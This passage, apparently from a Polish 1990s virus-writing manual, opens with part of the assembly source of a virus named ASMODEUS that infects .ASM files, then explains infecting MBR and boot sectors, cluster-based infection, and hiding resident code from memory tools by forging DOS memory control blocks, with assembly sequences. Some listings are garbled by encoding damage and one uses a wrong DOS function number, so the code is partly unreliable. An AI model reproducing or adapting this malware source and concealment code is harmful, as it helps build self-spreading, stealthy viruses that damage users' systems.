; podaj nazwe pliku do zmiany mov ax,4301h ; funkcja DOS - zmien atrybut int 21h ; wywolaj funkcje DOS jc PrzywrocAtrybut ; gdy CF=1, to blad lea dx,ds:[NoweDTA.DTAName] ; podaj nazwe pliku do odczytu mov ax,3d02h ; funkcja DOS - otworz plik ; do odczytu i zapisu int 21h ; wywolaj funkcje DOS jc PrzywrocAtrybut ; gdy CF=1, to blad xchg ax,bx ; przenies uchwyt pliku do BX mov cx,ASMNaglowek_Rozmiar ; ile zapisac lea dx,ASMNaglowek_Start ; skad pobrac dane mov ah,40h ; funkcja DOS - zapisz do pliku int 21h ; wywolaj funkcje DOS jc ZamknijPlik ; gdy CF=1, to blad cld ; operacje na lancuchach do przodu push bx ; zachowaj uchwyt pliku lea di,Bufor ; gdzie zapisywac wynik lea bx,Hex ; gdzie znajduje sie tablica ; translacji na znaki heksalne lea si,VirusStart ; gdzie zaczyna sie kod mov cx,VirusDlug ; ilosc bajtow do konwersji RobHex: mov ax,'BD' ; \ stosw ; \ zapisz sekwencje mov ax,'0 ' ; / 'db 0' stosw ; / lodsb ; pobierz bajt kodu mov ah,al ; zapamietaj na pozniej shr al,4 ; pobierz 4 gorne bity bajtu kodu xlatb ; wez odpowiadajcy mu znak stosb ; heksalny i zapisz go mov al,ah ; wez zapamietany bajt kodu and al,15 ; pobierz 4 dolne bity bajtu kodu xlatb ; wez odpowiadajcy mu znak stosb ; heksalny i zapisz go ; teraz bufor= 'db 0??' mov al,'h' ; zapisz 'h' w buforze stosb ; teraz bufor='db 0??h' mov ax,0A0Dh ; zapisz znaki CR,LF stosw ; teraz bufor='db 0??h',CR,LF loop RobHex ; przetwarzaj caly kod programu pop bx ; przwyroc uchwyt pliku sub di,offset Bufor ; oblicz, ile bajtow zajmuje bufor mov cx,di ; ile bajtow zapisac lea dx,Bufor ; podaj, skad zapisac wirusa ; jako ciag DB ?,?, ... ?,?,? mov ah,30h ; funkcja DOS - zapisz do pliku int 21h ; wywolaj funkcje DOS jc ZamknijPlik ; gdy CF=1, to blad mov cx,ASMKoncowka_Rozmiar ; ile zapisac lea dx,ASMKoncowka_Start ; skad pobrac dane mov ah,30h ; funkcja DOS - zapisz do pliku int 21h ; wywolaj funkcje DOS jc ZamknijPlik ; gdy CF=1, to blad mov cx,ds:[NoweDTA.DTATime] ; przywroc czas z bufora DTA mov dx,VZnacznik ; zaznacz infekcje pliku mov ax,5701h ; funkcja DOS - wpisz date, czas int 21h ; wywolaj funkcje DOS ZamknijPlik: mov ah,3Eh ; funkcja DOS - zamknij plik int 21h ; wywolaj funkcje DOS SzukajNastepnyPlik: ; poprzedni plik byl zarazony mov ah,4Fh ; funkcja DOS - szukaj innego ; plik ASM int 21h ; wywolaj funkcje DOS jnc KolejnyPlik ; gdy CF=1, to blad PrzywrocAtrybut: mov cl,ds:[NoweDTA.DTAAttr] ; podaj stary atrybut, CH=0 lea dx,ds:[NoweDTA.DTAName] ; podaj nazwe pliku do zmiany mov ax,4301h ; funkcja DOS - zmien atrybut int 21h BezInfekcji: ret ; koncz program, skocz do PSP:100h ; do rozkazu Int 20h MaskaASM db '*.ASM' ; maska plikow ASM (ASCIIZ) ASMNaglowek_Start: db 'V SEGMENT',CR,LF db 'ORG 100h',CR,LF db 'Start:',CR,LF ASMNaglowek_Koniec: ASMKoncowka_Start: db 'V ENDS',CR,LF db 'END Start',CR,LF ASMKoncowka_Koniec: Hex db '0123456789ABCDEF' ; Czesc Informayjna Informacja: mov ah,09h ; funkcja DOS - wyswietl tekst$ int 21h ; wywolaj funkcje DOS mov ah,01h ; funkcja DOS - czytaj znak ; ze standardowego wejscia int 21h ; wywolaj funkcje DOS ; AL zawiera znak push ax ; zapamietaj na chwile znak mov ax,0E0Dh ; \ przejdz int 10h ; \ do mov ax,0E0Ah ; / nastepnej int 10h ; / linii pop ax ; przywroc znak and al,11011111b ; konwertuj znak na wielka litere cmp al,'T' ; czy potwierdzona infekcja clc ; ustaw flage na TAK je CLCRet ; TAK i powrot stc ; ustaw flage na NIE i powrot CLCRet: ret ; powrot TeInformacja db CR,LF,'ASMODEUS v1.0, Autor : Adam Blaszczyk 1997' db CR,LF db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?' db DOLAR VirusEnd: Bufor db 32768 dup (?) ASMODEUS ENDS END VirusStart 4.2. Sektory systemowe Po uruchomieniu komputera oraz po pozytywnym przejściu sprzętowej inicjalizacji wszystkich układów, procesor przystępuje do uruchamiania systemu, oddając najpierw sterowanie do BIOS-a, który po przeprowadzeniu różnych testów przekazuje kontrolę dalej, tzn. do systemu operacyjnego. Aby to zrobić, musi wczytać go z pliku zawierającego jądro systemu. Ze względu na to, iż narzucona przez systemy operacyjne struktura plików (różna dla różnych systemów) jest dostępna dopiero po załadowaniu odpowiedzialnego za dostęp do niej jądra systemu (także różnego dla różnych systemów), powstaje błędne koło: aby załadować plik z jądrem systemu, ono samo musi już być załadowane. Jasne jest, iż musi istnieć jakaś uniwersalna metoda na załadowanie dowolnego systemu (a więc i jądra systemu). Problem ten rozwiązano poprzez nadanie specjalnego znaczenia pierwszym sektorom dysków fizycznych i logicznych. Sektory te zawierają krótkie programy, odpowiedzialne za załadowanie właściwej części jądra systemu. W przypadku dysku fizycznego mamy do czynienia z tzw. Głównym Rekordem Ładującym, a w przypadku logicznych - z tzw. BOOT-sektorem. Dokładniejszy ich opis znajduje się dalej. 4.2.1. Główny Rekord Ładujący (ang. Master Boot Record-MBR) Każdy dysk twardy zawiera w swym pierwszym fizycznym (tzn. z punktu widzenia dostępu przez BIOS) sektorze tzw. Główny Rekord Ładujący (często nazywany sektorem tablicy partycji), zawierający informacje o podziale jego fizycznej struktury na logiczne party-cje (strefy). Oprócz powyższych informacji rekord ten zawiera także krótki programik, mający na celu odnalezienie w tablicy partycji aktywnej strefy i załadowanie z niej systemu operacyjnego. Format głównego rekordu ładującego, opis zawartości tablicy partycji oraz rodzaje stref zawarte są w poniższych tablicach. Format głównego rekordu ładującego (MBR) Adres Zawartość 000 Program wczytujący system z aktywnej partycji dysku twardego 1BE Opis strefy nr 1 1CE Opis strefy nr 2 1DE Opis strefy nr 3 1EE Opis strefy nr 4 1FE Bajty 055h i 0AAh Opis jednej strefy w tablicy partycji Adres Zawartość 00 Znacznik aktywności strefy: 00h - strefa nie zawiera systemu operacyjnego 80h - strefa zawiera system operacyjny 01 Numer głowicy, pod którą zaczyna się strefa 02-03 Numer cylindra i sektora, pod którymi zaczyna się strefa, zapisane następująco (litery odpowiadają kolejnym bitom): bajt spod adresu 02h: CCssssss bajt spod adresu 03h: cccccccc ssssss = numer sektora (0-63) CCcccccccc = numer cylindra (0-1023) 04 Rodzaj strefy (wg następnej tablicy) 05 Numer głowicy, pod którą kończy się strefa 06-07 Numer cylindra i sektora, pod którymi kończy się strefa, zapisane tak samo jak w polu 02h-03h 08-0B Względny numer sektora rozpoczynającego strefę 0C-0F Długość strefy w sektorach Rodzaje stref wg bajtu z pola 04h w opisie strefy Bajt Rodzaj strefy 00h pusta 01h DOS 12-bit FAT 02h XENIX 03h XENIX /usr 04h DOSl6-bitFAT(do32M) 05h DOS 3.3+ rozszerzona partycja 06h DOS 3.31 + Large File System (16-bit FAT) 07h QNX 07h OS/2 HPFS 07h Windows NT NTFS 07h Advanced Unix 08h OS/2 (tylko v1.0-1.3) 08h AIX 08h Commodore DOS 08h DELL 09h AIX 09h Coherent 0Ah OS/2 Boot Manager 0Ah OPUS 0Ah Coherent 0Bh Windows 95 - 32-bit FAT 0Ch Windows 95 - 32-bit FAT (LBA) 0Eh zarezerwowane przez Microsoft dla VFAT 0Fh zarezerwowane przez Microsoft dla VFAT 10h OPUS 11h OS/2 Boot Manager 12-bit FAT 12h partycja Compaq Diagnostics 14h tworzy ją Noyell DOS 7.0 FDISK 14h OS/2 Boot Manager 16h OS/2 Boot Manager 17h OS/2 Boot Manager HPFS 18h AST Windows plik wymiany 21h zarezerwowana 23h zarezerwowana 24h NEC MS-DOS 3.x 26h zarezerwowana 31h zarezerwowana 33h zarezerwowana 34h zarezerwowana 36h zarezerwowana 3Ch PowerQuest 40h VENIX 80286 41h Persona! RISC Boot 42h SFS (Secure File System) 50h OnTrack Disk Manager 51h OnTrack Disk Manager 51h NOYELL 52h CP/M 52h Microport System V/386 53h OnTrack Disk Manager 54h OnTrack Disk Manager (DDO) 56h GoldenBow VFeature 61h SpeedStor 63h Unix SysV/386 63h Mach 64h Novell NelWare 286 65h NovetlNetWare(3.11) 67h Novell 68h Novell 69h Novell _ 70h DiskSecure Multi-Boot 71h zarezerwowana 73h zarezerwowana 74h zarezerwowana 75h PC/lX 76h zarezerwowana 80h Minixv1,1 - 1.4a 81h Minixv1.4b+ 81h Linux 81h Mitac Advanced Disk Manager 82h Linux Swap 82h Prime 83h Linux native file system 84h OS/2 86h zarezerwowana 87h HPFS Fault-Tolerant 93h Amoeba file system 94h Amoeba bad błock table A1h zarezerwowana A3h zarezerwowana A4h zarezerwowana A5h FreeBSD A6h zarezerwowana B1h zarezerwowana B3h zarezerwowana B4h zarezerwowana B6h zarezerwowana B7h BSDI file system B8h BSDI plik wymiany C1h DR DOS 6.0 LOGIN.EXE 12-bit FAT C4h DR DOS 6.0 LOGIN.EXE 16-bit FAT C6h DR DOS 6.0 LOGlN.EXE Huge C7h Syrinx Boot D8h CP/M-86 DBh CP/M DBh CTOS (ConvergentTechnologies OS) E1h SpeedStor 12-bit FAT rozszerzona partycja E3h DOS tylko do czytania E3h Storage Dimensions E4h SpeedStor 16-bit FAT rozszerzona partycja E5h zarezerwowana E6h zarezerwowana F1h Storage Dimensions F2h DOS 3.3+ F3h zarezerwowana F4h SpeedStor F4h Storage Dimensions F6h zarezerwowana FEh LANstep FEh IBM PS/2 IML FFh Xenix Po wykonaniu wszystkich autotestów BIOS wczytuje MBR zawsze pod ten sam, stały adres 0000:7C00 i wykonuje do tego miejsca daleki skok, przekazując tym samym sterowanie do programu ładującego, który odszukuje strefę aktywną w tablicy partycji. Znalezienie strefy aktywnej polega na przeszukaniu tablicy partycji i sprawdzeniu, czy w polu 00h opisu badanej strefy znajduje się wartość 80h, co jest znakiem, iż jest to strefa aktywna i można z niej załadować system operacyjny. Działanie wirusów zarażających MBR polega na podmianie oryginalnego programu w niej zawartego na kod wirusa. Oryginalna tablica partycji może być przechowywana w innym sektorze na dysku. Najprościej Jest wczytać oryginalny sektor przy pomocy funkcji (02/13), dokonać zmian w jego strukturze i zapisać zmodyfikowany sektor z powrotem na dysk przy użyciu funkcji (03/13). Po zarażeniu MBR wirus jest nieaktywny do czasu zresetowania komputera. Po restarcie zainfekowana partycja jest wczytywana przez BIOS pod adres 0000:7C00 i sterowanie jest oddawane do wirusa, który zmniejsza pamięć dostępną dla DOS-a (poprzez modyfikację zmiennej BIOS, zawartej pod adresem 0000:413), a następnie kopiuje się na koniec pamięci, która jest już niedostępna dla DOS-a. Stamtąd przejmuje obsługę przerwań i po wczytaniu oryginalnego sektora tablicy partycji (także pod adres 0000:7COO) oddaje do niej sterowanie, a tam oryginalny program ładujący kontynuuje normalne wczytywanie systemu. 4.3. Rekord ładujący (ang. BOOT-sector) Program ładujący, zawarty w MBR, wczytuje system ze strefy aktywnej, dokładniej: wczytuje pierwszy sektor (tzw. BOOT-sektor) ze strefy aktywnej pod adres 0000:7COO (a więc pod ten sam co w przypadku MBR), oddaje do niego sterowanie i dopiero program zawarty w BOOT-sektorze ładuje plik zawierający jądro systemu (w przypadku systemu DOS - najczęściej IO.SYS). Powyższa operacja jest wykonywana tylko dla dysku twardego. W przypadku dyskietek BIOS bezpośrednio ładuje BOOT-sektor z dyskietki i oddaje do niego sterowanie. Jak widać, BIOS nie rozróżnia, czy wczytywany sektor jest MBR czy BOOT-sektorem, a jedynie odczytuje pierwszy sektor z dysku lub dyskietki i oddaje do niego sterowanie. Przy pierwszym dostępie do dysku system kopiuje do swych struktur wewnętrznych część informacji zawartych w BOOT-sektorze. Informacje te są zawarte w tzw. bloku BPB, zawartym w BOOT-sektorze od adresu 0Bh do 23h. Zawartość BOOT-sektora przedstawiono w poniższej tabeli. Zawartość BOOT-sektora Adres Zawartość 00-02 Instrukcja skoku do programu ładującego system, najczęściej (OEBh ?? 90h). czyli JMP SHORT 03-0A Nazwa wersji systemu (jako łańcuch ASCII) Początek bloku BPB + 0B-0C Wielkość sektora w bajtach 0E-0F Liczba sektorów zarezerwowanych na początku dysku 10 Liczba kopii FAT 11-12 Maksymalna liczba plików w katalogu głównym 13-14 Całkowita liczba sektorów na dysku logicznym (nie używane) 15 Bajt identyfikacji nośnika 16-17 Liczba sektorów zajętych przez FAT 18-19 Liczba sektorów na ścieżce 1A-1B Liczba głowic dysku 1C-1D Koniec bloku BPB 24 Numer fizyczny dysku 25 Zarezerwowane 26 Rozszerzony znacznik BOOT-sektora 27-2A Numer woluminu 2B-35 Etykieta dysku 36-3D Typ FAT zapisany jako łańcuch ASCII ??-1FF Program wczytujący system Nietrudno domyślić się, iż infekcja BOOT-sektora polegać będzie na zamianie oryginalnego programu w nim zawartego na kod wirusa, tak jak miało to miejsce w przypadku sektora tablicy partycji. Zamiast przerwania 13h przy infekcji BOOT-sektora łatwiej użyć przerwań 25h i 26h, gdyż biorą one na siebie ciężar wszystkich obliczeń związanych z translacją sektorów logicznych na fizyczne. 4.4. Jednostki Alokacji Plików (JAP) (ang. clusters) Pierwszym wirusem, który zarażał JAP, był wirus DIR-2. Ze względu na pewne ograniczenia zarażał tylko w wersjach DOS mniejszych od 5.0. Aby zrozumieć zasadę jego działania, trzeba przede wszystkim wiedzieć, w jaki sposób system DOS zapisuje pliki na dysku. Każdy dysk logiczny widoczny w systemie posiada tzw. tablicę FAT (ang. File Alocation Tobie), która dzieli dysk na równe części, zwane Jednostkami Alokacji Plików JAP). Wielkość JAP jest różna dla różnych pojemności dysków. Informacja o ilości sektorów zajmowanych przez jedną JAP zawarta jest w BOOT-sektorze, w polu 0Dh. Każdy plik zapisywany na dysku ma do dyspozycji odpowiednią, wynikającą z jego długości, liczbę jednostek alokacji. Liczba ta równa jest długości pliku podzielonej przez rozmiar jednej JAP. Obliczoną liczbę należy zaokrąglić w górę (aby uwzględnić końcówkę pliku, która nie mieści się w pełnej JAP). Jak widać, pliki zapisane na dysku wcale nie muszą być zapisane sekwencyjnie, tzn. różne fragmenty pliku mogą być porozrzucane po całym dysku. Także widziana przez użytkownika długość pliku tylko czasami zgadza się z prawdziwą długością zajmowaną przez plik na dysku (gdy długość pliku jest wielokrotnością długości JAP). Wczytując plik DOS odczytuje z odpowiedniego pola katalogu numer pierwszej JAP i na jej podstawie, w miarę kolejnych odczytów/zapisów do pliku, porusza się po łańcuchu JAP, korzystając z danych zawartych w tablicy FAT. Wirus infekujący przy użyciu JAP zmienia w polu katalogu rozmiar danego pliku (najczęściej na rozmiar jednej JAP) oraz wartość pierwszej JAP pliku, która wskazując na wirusa umożliwia jego wczytanie niejako przed kod programu ładowanego z dysku i w efekcie przejęcie kontroli nad systemem. Zainstalowany w pamięci wirus ma następnie możliwość wczytania dalszej części programu na podsta wie przechowywanej oryginalnej wartości pierwszej JAP oraz długości pliku. W celu zapewnienia poprawnego wczytania reszty pliku wirus musi dotrzeć do wewnętrznych procedur systemu operacyjnego, przeznaczonych do obsługi dysków. Najczęściej realizuje się to poprzez odpowiednią zamianę adresu procedury obsługującej dysk, zawartej w tzw. blokach DPB (ang. Drive Parameter Block), strukturach tworzonych przez system operacyjny podczas jego inicjacji dla wszystkich istniejących w systemie dysków logicznych. Struktura DPB zawiera wszystkie informacje potrzebne do obsługi dysku logicznego przez system (część danych znajduje się w bloku BPB dysku, zawartego w BOOT-sektorze). Pełny opis bloku DPB zawarto w poniższej tabeli. Format bloku DPB Adres Zawartość 00 Numer dysku A:=0, B:=1, C:=2 01 Numer jednostki w programie obsługi 02-03 Wielkość sektora w bajtach 05 log2 (liczba sektorów w JAP) 06 Liczba zarezerwowanych sektorów na początku dysku 08 Ilość kopii tablicy FAT (najczęściej 2) 09-0A Maksymalna ilość plików w katalogu głównym 0B-0C Pierwszy sektor danych 0F-10 Liczba sektorów na FAT 11-12 Numer pierwszego sektora katalogu 13-16 Daleki wskaźnik do programu obsługi dysku 17 Bajt identyfikacji nośnika 18 Znacznik dostępu do dysku 19-1C Daleki wskaźnik do następnego bloku DPB 1D-1E Numer pierwszej wolnej JAP na dysku 1F-20 Liczba wolnych JAP na dysku Adres pierwszego bloku DPB uzyskiwany jest najczęściej przy użyciu funkcji (52/21). Na podstawie danych w pierwszym DPB można przejść (poruszając się po liście) do kolejnych bloków DPB. Realizuje to poniższa sekwencja: Przeszukiwanie łańcucha DPB mov AH,52h ; funkcja DOS - pobierz adres do listy list (LL) INT 21h ; wywo-aj DOS po wywo-aniu ES:BX zawiera adres do LL, w ; komˇrkach od ES:[BX] do ES:[BX+3] znajduje ; siŕ daleki wskačnik do pierwszego DPB LES BX,ES:[BX] ; ES:BX wskazuje na pierwszy DPB NastŕpnyDPB: ; pocz¦tek pŕtli LDS SI, ES:[BX+13h] ; DS:SI wskazuje teraz na program obs-ugi LES BX,ES:[BX+19h] ; ES:BX wskazuje teraz na nastŕpny bloku DPB, je¬eli jest ; to ostatni blok, to ES i BX zawieraj¦ OFFFFh, MOV AX,ES ; weč segment CMP AX,0FFFFh ; czy ES=OFFFFh ? JNZ NastŕpnyDPB ; jeťli nie, to jest jeszcze kolejny DPB CMP BX,AX ; czy BX=OFFFFh? JNZ NastŕpnyDPB ; jeťli nie, to jest jeszcze kolejny DPB 4.5. Wirusy kombinowane (ang: multipartition) Tego typu wirusy są wirusami zawierającymi mechanizmy infekcji różnych obiektów. W przypadku, gdy wirus zaraża pliki uruchamialne (EXE, COM), a także sektor tablicy partycji oraz ewentualnie BOOT-sektory i inne pliki, nazywa się go wirusem typu multipartition. Ze względu na szeroką gamę zarażanych przez siebie ofiar, wirusy tego typu bardzo szybko rozprzestrzeniają się w systemie komputerowym. Pamięć przydzielana programom przez system DOS jest zwalniana zaraz po ich zakończeniu, stąd też wirus rezydentny, chcąc przejmować przerwania, musi wygospodarować sobie jakiś fragment w pamięci, do którego może się skopiować, aby nie zostać zamazanym przez kod innego programu, wczytywanego do zwolnionych przez system obszarów pamięci. Do instalacji można wykorzystać dowolny fragment pamięci, który na pewno nie zostanie wykorzystany i zamazany przez żaden inny program (co skończyłoby się prędzej czy później zawieszeniem komputera, gdyż zostałaby zamazana procedura obsługi przejętego przerwania). ROZDZIAŁ 5 5.1. Instalacja w tablicy wektorów przerwań W komputerze IBM na użytek przerwań przeznaczono 256*4=1024 bajtów znajdujących się na początku pamięci operacyjnej od adresu 0000:0000 do adresu 0000:0400 (tak sprawa ma się oczywiście w trybie rzeczywistym i V86 procesorów 80x86). Mimo to większość programów wykorzystuje tylko przerwania poniżej numeru 80h, tak więc w obszarze 0000:0200-0000:0400 pojawia się 512-bajtowa luka, w której można umieścić kod wirusa. Najczęściej obszar ten jest wykorzystywany przez wirusy bardzo krótkie, potrzebujące do swych celów małego obszaru pamięci operacyjnej, 5.2. Instalacja w obszarze zmiennych DOS W obszarze pamięci od adresu 0000:0600 do adresu 0000:0700 znajduje się obszar wykorzystywany przy starcie systemu. Po załadowaniu obszar ten zawiera nieistotne dane systemu (w zasadzie nie używane), dzięki czemu jest to kolejna luka w pamięci systemu, w której można umieścić krótkiego (maksymalnie 256-bajtowego) wirusa. 5.3. Instalacja w pamięci poniżej 640kB i UMB Zarządzając pamięcią operacyjną system DOS dzieli ją na połączone w łańcuch bloki, z których każdy rozpoczyna się tzw. nagłówkiem MCB (ang. Memory Control Błock). Każdy nagłówek zajmuje 16 bajtów i jest ulokowany zawsze na granicy paragrafu (16 bajtów), a zarządzany przezeń blok pamięci zaczyna się bezpośrednio po nim, także od granicy paragrafu. Powyższy mechanizm stosowany jest zarówno dla pamięci niskiej (poniżej 640kB - LMB; ang. Low Memory Blocks), jak i dla pamięci wysokiej (powyżej 640kB - UMB; ang. Upper Memory Blocks). Format bloku MCB pokazano w poniższej tabeli. Format MCB Adres Zawartość 00 Znacznik bloku; znak 'M' oznacza, iż jest to blok pośredni, zaś Z oznacza ostatni blok w łańcuchu 01-02 Adres (tylko segment; przesunięcie równe jest zeru) bloku PSP, będącego właścicielem MCB. Jeżeli w pole to wpiszemy wartość 0008, a więc segment niedostępny dla programów, segment zniknie z pamięci operacyjnej i będzie niewidoczny dla programów przeglądających pamięć (dokładniej: będzie widoczny, ale będzie traktowany jako integralna część systemu) 03-04 Rozmiar bloku w 16-bajtowych paragrafach 05-07 Zarezerwowane dla systemu 08-0F 8-bajtowe pole, wykorzystywane dopiero w wersjach 5.0 DOS i wyższych. Zawiera ono początek nazwy pliku właściciela bloku MCB. Jeżeli wpiszemy w to pole 'SC' lub 'SD', to blok ten zostanie uznany za blok systemowy ('SC' to skrót od System Code. a SD od System Data) Najstarsza i najbardziej rozpowszechniona metoda instalacji w pamięci operacyjnej polega na modyfikacji łańcucha bloków MCB. Najprościej jest znaleźć ostatni z bloków MCB i zmniejszyć jego rozmiar o długość potrzebną wirusowi. Adres pierwszego bloku MCB można znaleźć za pomocą funkcji (52/21). Po jej wywołaniu w rejestrach ES:BX znajdzie się adres tzw. listy list (LL). W komórce pod adresem ES:[BX-2] znajduje się informacja o adresie pierwszego nagłówka MCB. Po zdobyciu tego adresu należy, poruszając się po łańcuchu, znaleźć ostami z MCB i dokonać w nim zmian. Całość realizuje się za pomocą następującej sekwencji: ; Poszukiwanie ostatniego bloku w -a˝cuchu mcb MOV AH,52H ; funkcja DOS - weč adres do listy ; list (ll) INT 21H ; wywo-aj funkcjŕ MOV AX,ES:[BX-2] ; AX=adres segmentowy pierwszego MCB NAST¦PNY: MOV DS,AX ; ds wskazuje na sprawdzany blok MCB CMP BYTE PTR DS:[0], Z ; czy ostatni blok ? JE OSTATNI ; skocz, jeťli tak INC AX ; dodaj rozmiar MCB (16 bajtˇw=1 paragraf) ADD AX, DS:[3] ; dodaj d-ugoťŠ bloku zarz¦dzanego przez MCB JMP SHORT NASTEPNY ; sprawdč nastŕpny blok OSTATNI: ; ds wskazuje na ostatni blok SUB DS:[3], ROZMIAR ; odejmij rozmiar wirusa (w paragrafach 16 bajtowych) SUB DS:[12h], ROZMIAR ; warto tak¬e zmieniŠ adres pamiŕci niedostŕpnej dla ;programu w PSP bie¬¦cego procesu Do instalacji można wykorzystać także blok pamięci, który powstaje poprzez zmniejszenie bloku pamięci przydzielonego programowi. Dokonuje tego następująca sekwencja: ; Zmniejszenie bloku przydzielonego aktualnemu procesowi MOV AH,62h ; funkcja DOS - weč adres PSP aktualnego procesu INT 21h ; uruchom funkcjŕ DOS, BX zawiera adres PSP DEC BX ; BX-1 zawiera adres MCB, bŕd¦cego w-aťcicielem bloku MOV DS,BX ; DS wskazuje na MCB SUB DS:[3], ROZMIAR ; odejmij rozmiar wirusa (w paragrafach 16 bajtowych) SUB DS:[12h], ROZMIAR ; warto tak¬e zmieniŠ adres pamiŕci niedostŕpnej dla ; programu w PSP bie¬¦cego procesu Inny sposób polega na przydzieleniu sobie przez wirusa bloku pamięci przy użyciu (48/21) i modyfikacji MCB, będącego właścicielem przydzielonego bloku. Modyfikacja polega na wpisaniu w pole 01h-02h bloku MCB wartości 0008h, która oznacza, iż blok ten należy do systemu operacyjnego DOS. Zamiast wartości 0008h można wpisać dowolną wartość, która wskazuje na segment zawierający na pewno dane systemowe, na przykład liczbę z zakresu 0A000h-0B000h, wskazującą na segmenty zawierające pamięć ekranu. Dodatkowo w pole 08h-0Fh można wpisać łańcuch 'SC lub 'SD' [odpowiadające skrótom: kod systemu (ang. System Code) i dane systemu (ang. System Data)]. Tak zmodyfikowany blok MCB nie będzie widziany przez programy przeglądające pamięć (np. MEM.EXE). Powyższą metodę ilustruje następująca sekwencja: ; Tworzenie sztucznego bloku systemowego MOV BX,ROZMIAR ; BX = rozmiar ¬¦danej pamiŕci MOV AH,48h ; funkcja DOS - przydziel pami੠INT 21h ; wywo-aj funkcjŕ DOS JC BLAD ; Jeťli CF=1 to b-¦d, AX=segment pamiŕci DEC AX ; AX-1=segment z nag-ˇwkiem MCB (w-aťcicielem ; bloku amiŕci) MOV DS,AX ; DS = segment MCB MOV DS:[l],0008h ; zmie˝ MCB na systemowy Kolejny sposób instalacji w pamięci polega na wykorzystaniu faktu, iż DOS oferuje programom możliwość zmieniania rozmiaru bloku pamięci przy użyciu (4A/21). Dzięki temu można powiększyć pewien blok wykorzystywany przez system lub programy rezydentne i w tak wygospodarowane miejsce skopiować wirusa. Nie trzeba w tym wypadku dokonywać żadnych ręcznych manipulacji na blokach MCB, gdyż wszystkie operacje wykona za nas system operacyjny. Należy pamiętać, iż aby DOS mógł powiększyć blok pamięci, blok ten musi sąsiadować z jakimś nie wykorzystanym przez żaden program fragmentem pamięci. Znaleziony blok najlepiej zabezpieczyć przed ewentualnym zwolnieniem, np. przez wpisanie w pole 03-04h wartości 0008h. Sekwencja realizująca to zadanie wygląda następująco: ; Powiŕkszenie jednego z blokˇw ju¬ u¬ytych MOV AH,52H ; funkcja DOS - weč adres do listy list (LL) INT 21H ; wywo-aj funkcjŕ DOS MOV DX,ES:[BX-2] ; AX==adres segmentowy pierwszego MCB NAST¦PNY: mov es,dx ; DS wskazuje na sprawdzany blok mcb mov cl, byte PTR ES:[O] ; zachowaj znacznik nag-ˇwka MCB MOV BX,ES:[3] ; pobierz rozmiar bloku INC DX ; DOS wymaga adresu o l wiŕkszego od MCB MOV ES,DX ; ES wskazuje na blok pamiŕci ADD DX,BX ; dodaj d-ugoťŠ bloku zarz¦dzanego przez MCB ADD bx, rozmiar ; dodaj rozmiar wirusa (w paragrafach 16-bajtowych) MOV AH,4Ah ; sprˇbuj zmieniŠ rozmiar bloku INT 21h ; wywo-aj funkcjŕ DOS JNC JESTBLOK ; jeťli CFl, uda-o siŕ zmieniŠ blok CMP CL, Z ; czy ostatni blok ? JNE NASTEPNY ; sprawdč nastŕpny blok OSTATNI: ; nie uda-o siŕ powiŕkszyŠ ¬adnego bloku ...... ; cz໩ kodu wirusa, wykonuj¦ca ; siŕ, gdy nie znaleziono bloku JESTBLOK: ...... ; uda-o siŕ powiŕkszyŠ blok, adres do niego jest w ES Sposób obsługiwania pamięci przez DOS jest określany przez tzw. strategię przydziału pamięci, która standardowo nie używa bloków UMB, stąd powyższe sposoby zadziałają bez zarzutu dla pamięci poniżej 640kB. Aby zainstalować wirusa w pamięci UMB, trzeba wymusić jej używanie na równi z pamięcią niską. W tym celu należy przyłączyć łańcuch bloków MCB pamięci UMB do łańcucha bloków MCB, znajdujących się w pamięci niskiej, przy użyciu funkcji (5803/21). Całość takiej operacji realizuje się przy użyciu następującej sekwencji w asemblerze: ; Do-¦czanie pamiŕci UMB do -a˝cucha UMB i zmiana strategii przydzia-u pamiŕci MOV AX,5800h ; funkcja - pobierz aktualn¦ strategiŕ INT 21h ; wywo-aj funkcjŕ DOS PUSH AX ; zachowaj odczytane strategiŕ MOV AX,5802h ; weč informacjŕ o do-¦czeniu pamiŕci UMB INT 21h ; wywo-aj funkcjŕ DOS PUSH AX ; zachowaj informacjŕ na stosie MOV AX,5803h ; funkcja DOS - do-¦cz/od-¦cz bloki UMB do -a˝cucha MCB MOV BX,1 ; podfunkcja - do-¦cz bloki INT 21h ; wywo-aj funkcjŕ DOS MOV AX,5801h ; funkcja DOS - ustaw now¦ strategiŕ pamiŕci MOV BX,82h ; nowa strategia (UMB+ostatni spe-niaj¦cy warunek) INT 21h ; wywo-aj funkcjŕ DOS ....... ; operacje na blokach MCB (na ca-ym ich -a˝cuchu) POP BX ; weč pierwotn¦ informacjŕ o do-¦czeniu pamiŕci UMB XOR BH,BH ; podfunkcja - do-¦cz bloki lub od-¦cz zale¬nie od BL MOV AX, 5803h ; funkcja DOS - do-¦cz/od-¦cz bloki UMB do -a˝cucha mcb INT 21H ; wywo-aj funkcjŕ DOS POP BX ; przywrˇŠ pierwotn¦ strategiŕ MOV AX,5801h ; funkcja DOS - ustaw now¦ strategiŕ pamiŕci wg BX INT 21h ; wywo-aj funkcjŕ DOS Dołączenie pamięci UMB do łańcucha MCB ma duże znaczenie, gdy poszukujemy ostatniego bloku w tym łańcuchu. Jeżeli system wykorzystuje pamięć UMB, a ta nie jest chwilowo podłączona do łańcucha MCB, zmiana ostatniego (w tym wypadku widzianego jako ostatni) bloku pamięci poniżej 640kB spowoduje odcięcie pamięci UMB, co w efekcie zmniejszy dostępną dla programów użytkowych pamięć i niechybnie pomoże wykryć intruza. Innym sposobem na przydzielenie pamięci UMB wirusowi jest skorzystanie z mechanizmów zawartych w specyfikacji XMS, która umożliwia obsługę tej pamięci za pośrednictwem funkcji l0h i 11h. Są one dostępne przez bezpośrednie wywołanie procedury, której adres uzyskuje się po wywołaniu funkcji (4310/2F). Przydzielenie bloku UMB za pomocą funkcji XMS ilustruje poniższa sekwencja: ; Wykorzystanie mechanizmˇw XMS do przydzia-u bloku UMB MOV AX,4300H ; funkcja - sprawdč, czy zainstalowany mened¬er XMS INT 2Fh ; wywo-aj przerwanie multipleksowane CMP AL,80h ; czy zainstalowany mened¬er XMS? JNE NieMaXMS ; skocz, jeťli nie jest zainstalowany MOV AX,4310H ; funkcja - weč adres procedury INT 2Fh ; wywo-aj przerwanie multipleksowane MOV [PROCSEG],ES ; zachowaj adres procedury mened¬era XMS MOV [PROCOFS],BX MOV AH,10h ; funkcja XMS - przydziel pami੠UMB MOV DX,rozmiar ; podaj iloťŠ ¬¦danej pamiŕci w paragrafach CALL [PROCSEG] ; wywo-aj procedurŕ mened¬era XMS CMP AX,l ; jeťli nie ma b-ŕdu, to AX-1 JNE BLAD ; skocz, Jeťli AX<>1 ; BX = 